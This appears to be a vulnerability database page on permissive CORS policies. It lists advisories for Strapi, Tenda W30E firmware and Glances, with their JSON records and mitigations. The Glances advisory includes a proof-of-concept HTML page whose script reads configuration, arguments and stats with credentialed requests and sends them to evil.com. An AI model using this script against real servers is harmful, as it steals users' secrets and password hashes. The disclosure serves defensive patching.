A CORS misconfiguration vulnerability exists in default installations of Strapi where attacker-controlled origins are improperly reflected in API responses.

Technical Details

By default, Strapi reflects the value of the Origin header back in the Access-Control-Allow-Origin response header without proper validation or whitelisting.

Example: Origin: http://localhost:8888 Access-Control-Allow-Origin: http://localhost:8888 Access-Control-Allow-Credentials: true

This allows an attacker-controlled site (on a different port, like 8888) to send credentialed requests to the Strapi backend on 1337.

Suggested Fix

  1. Explicitly whitelist trusted origins
  2. Avoid reflecting dynamic origins
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-284",
      "CWE-364",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-16T19:49:01Z",
    "nvd_published_at": "2025-10-16T17:15:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA CORS misconfiguration vulnerability exists in default installations of Strapi where attacker-controlled origins are improperly reflected in API responses.\n\n### Technical Details\n\nBy default, Strapi reflects the value of the Origin header back in the Access-Control-Allow-Origin response header without proper validation or whitelisting.\n\nExample:\n`Origin: http://localhost:8888`\n`Access-Control-Allow-Origin: http://localhost:8888`\n`Access-Control-Allow-Credentials: true`\n\nThis allows an attacker-controlled site (on a different port, like 8888) to send credentialed requests to the Strapi backend on 1337.\n\n### Suggested Fix\n\n1. Explicitly whitelist trusted origins\n2. Avoid reflecting dynamic origins",
  "id": "GHSA-9329-mxxw-qwf8",
  "modified": "2026-01-29T03:59:42Z",
  "published": "2025-10-16T19:49:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-9329-mxxw-qwf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/6e535cb756"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/releases/tag/v5.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strapi core vulnerable to sensitive data exposure via CORS misconfiguration"
}

GHSA-9423-9282-JQ44

Vulnerability from github – Published: 2026-01-26 18:31 – Updated: 2026-02-02 21:30
VLAI
Details

Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-26T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests.",
  "id": "GHSA-9423-9282-jq44",
  "modified": "2026-02-02T21:30:21Z",
  "published": "2026-01-26T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24435"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/product/W30E"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tenda-w30e-v2-permissive-cors-allows-cross-origin-data-access"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9JFM-9RC6-2HFQ

Vulnerability from github – Published: 2026-03-16 16:32 – Updated: 2026-03-18 21:48
VLAI
Summary
Glances's Default CORS Configuration Allows Cross-Origin Credential Theft
Details

Summary

The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

Details

The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:

# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are: - cors_origins = ["*"] (all origins) - cors_credentials = True (allow credentials)

Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:

  1. Attacker hosts https://evil.com/steal.html
  2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
  3. JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"})
  4. The browser sends the stored Basic Auth credentials
  5. Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true
  6. The browser allows JavaScript to read the response
  7. Attacker exfiltrates the configuration including sensitive data

When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

PoC

Step 1: Attacker hosts a malicious page.

<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";

  // Steal system stats (processes, CPU, memory, network, disk)
  const all = await fetch(target + "/api/4/all", {credentials: "include"});
  const allData = await all.json();

  // Steal configuration (may contain database passwords, API keys)
  const config = await fetch(target + "/api/4/config", {credentials: "include"});
  const configData = await config.json();

  // Steal command line args (contains password hash, SNMP creds)
  const args = await fetch(target + "/api/4/args", {credentials: "include"});
  const argsData = await args.json();

  // Exfiltrate to attacker
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify({all: allData, config: configData, args: argsData})
  });
}
steal();
</script>

Step 2: Verify CORS headers (without auth, default Glances).

# Start Glances web server (default, no password)
glances -w

# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
  -H "Origin: https://evil.com" \
  http://localhost:61208/api/4/all

# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Step 3: Verify data theft (without auth).

curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.tool

Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.

# Start Glances with password
glances -w --password

# Preflight request with credentials
curl -s -D- -o /dev/null \
  -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" \
  -H "Access-Control-Request-Headers: Authorization" \
  http://localhost:61208/api/4/all

# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: true

Impact

  • Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.

  • With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).

  • Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.

  • Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).

Recommended Fix

Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:

# glances/outputs/glances_restful_api.py

# Option 1: Change default to not allow credentials with wildcard origins
cors_origins = config.get_list_value('outputs', 'cors_origins', default=["*"])
cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)  # Changed from True

# Option 2: Reject the insecure combination at startup
if cors_origins == ["*"] and cors_credentials:
    logger.warning(
        "CORS: allow_origins='*' with allow_credentials=True is insecure. "
        "Setting allow_credentials to False. Configure specific origins to enable credentials."
    )
    cors_credentials = False

self._app.add_middleware(
    CORSMiddleware,
    allow_origins=cors_origins,
    allow_credentials=cors_credentials,
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["GET"]),  # Also restrict methods
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:32:22Z",
    "nvd_published_at": "2026-03-18T17:16:06Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.\n\n## Details\n\nThe CORS configuration is set up in `glances/outputs/glances_restful_api.py` lines 290-299:\n\n```python\n# glances/outputs/glances_restful_api.py:290-299\n# FastAPI Enable CORS\n# https://fastapi.tiangolo.com/tutorial/cors/\nself._app.add_middleware(\n    CORSMiddleware,\n    # Related to https://github.com/nicolargo/glances/issues/2812\n    allow_origins=config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"]),\n    allow_credentials=config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=True),\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"*\"]),\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```\n\nThe defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:\n- `cors_origins = [\"*\"]` (all origins)\n- `cors_credentials = True` (allow credentials)\n\nPer the CORS specification, browsers should not send credentials when `Access-Control-Allow-Origin: *`. However, Starlette\u0027s `CORSMiddleware` implements a workaround: when `allow_origins=[\"*\"]` and `allow_credentials=True`, the middleware reflects the requesting origin in the response header instead of using `*`. This means:\n\n1. Attacker hosts `https://evil.com/steal.html`\n2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page\n3. JavaScript on `evil.com` makes `fetch(\"http://glances-server:61208/api/4/config\", {credentials: \"include\"})`\n4. The browser sends the stored Basic Auth credentials\n5. Starlette responds with `Access-Control-Allow-Origin: https://evil.com` and `Access-Control-Allow-Credentials: true`\n6. The browser allows JavaScript to read the response\n7. Attacker exfiltrates the configuration including sensitive data\n\nWhen Glances is running **without** `--password` (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.\n\n## PoC\n\n**Step 1: Attacker hosts a malicious page.**\n\n```html\n\u003c!-- steal-glances.html hosted on attacker\u0027s server --\u003e\n\u003cscript\u003e\nasync function steal() {\n  const target = \"http://glances-server:61208\";\n  \n  // Steal system stats (processes, CPU, memory, network, disk)\n  const all = await fetch(target + \"/api/4/all\", {credentials: \"include\"});\n  const allData = await all.json();\n  \n  // Steal configuration (may contain database passwords, API keys)\n  const config = await fetch(target + \"/api/4/config\", {credentials: \"include\"});\n  const configData = await config.json();\n  \n  // Steal command line args (contains password hash, SNMP creds)\n  const args = await fetch(target + \"/api/4/args\", {credentials: \"include\"});\n  const argsData = await args.json();\n  \n  // Exfiltrate to attacker\n  fetch(\"https://evil.com/collect\", {\n    method: \"POST\",\n    body: JSON.stringify({all: allData, config: configData, args: argsData})\n  });\n}\nsteal();\n\u003c/script\u003e\n```\n\n**Step 2: Verify CORS headers (without auth, default Glances).**\n\n```bash\n# Start Glances web server (default, no password)\nglances -w\n\n# From a different origin, verify the CORS headers\ncurl -s -D- -o /dev/null \\\n  -H \"Origin: https://evil.com\" \\\n  http://localhost:61208/api/4/all\n\n# Expected response headers include:\n# Access-Control-Allow-Origin: https://evil.com\n# Access-Control-Allow-Credentials: true\n```\n\n**Step 3: Verify data theft (without auth).**\n\n```bash\ncurl -s http://localhost:61208/api/4/all | python -m json.tool | head -20\ncurl -s http://localhost:61208/api/4/config | python -m json.tool\ncurl -s http://localhost:61208/api/4/args | python -m json.tool\n```\n\n**Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.**\n\n```bash\n# Start Glances with password\nglances -w --password\n\n# Preflight request with credentials\ncurl -s -D- -o /dev/null \\\n  -X OPTIONS \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  -H \"Access-Control-Request-Headers: Authorization\" \\\n  http://localhost:61208/api/4/all\n\n# Expected: Access-Control-Allow-Origin: https://evil.com\n# Expected: Access-Control-Allow-Credentials: true\n```\n\n## Impact\n\n- **Without `--password` (default):** Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.\n\n- **With `--password`:** If the user has previously authenticated via the browser\u0027s Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via `/api/4/args`).\n\n- **Network reconnaissance:** An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.\n\n- **Chained with POST endpoints:** The CORS policy also allows `POST` methods, enabling an attacker to clear event logs (`/api/4/events/clear/all`) or modify process monitoring (`/api/4/processes/extended/{pid}`).\n\n## Recommended Fix\n\nChange the default CORS credentials setting to `False`, and when credentials are enabled, require explicit origin configuration instead of wildcard:\n\n```python\n# glances/outputs/glances_restful_api.py\n\n# Option 1: Change default to not allow credentials with wildcard origins\ncors_origins = config.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\"*\"])\ncors_credentials = config.get_bool_value(\u0027outputs\u0027, \u0027cors_credentials\u0027, default=False)  # Changed from True\n\n# Option 2: Reject the insecure combination at startup\nif cors_origins == [\"*\"] and cors_credentials:\n    logger.warning(\n        \"CORS: allow_origins=\u0027*\u0027 with allow_credentials=True is insecure. \"\n        \"Setting allow_credentials to False. Configure specific origins to enable credentials.\"\n    )\n    cors_credentials = False\n\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=cors_origins,\n    allow_credentials=cors_credentials,\n    allow_methods=config.get_list_value(\u0027outputs\u0027, \u0027cors_methods\u0027, default=[\"GET\"]),  # Also restrict methods\n    allow_headers=config.get_list_value(\u0027outputs\u0027, \u0027cors_headers\u0027, default=[\"*\"]),\n)\n```",
  "id": "GHSA-9jfm-9rc6-2hfq",
  "modified": "2026-03-18T21:48:24Z",
  "published": "2026-03-16T16:32:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances\u0027s Default CORS Configuration Allows Cross-Origin Credential Theft"
}
Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.

Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Mitigation
Architecture and Design Operation

Strategy: Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list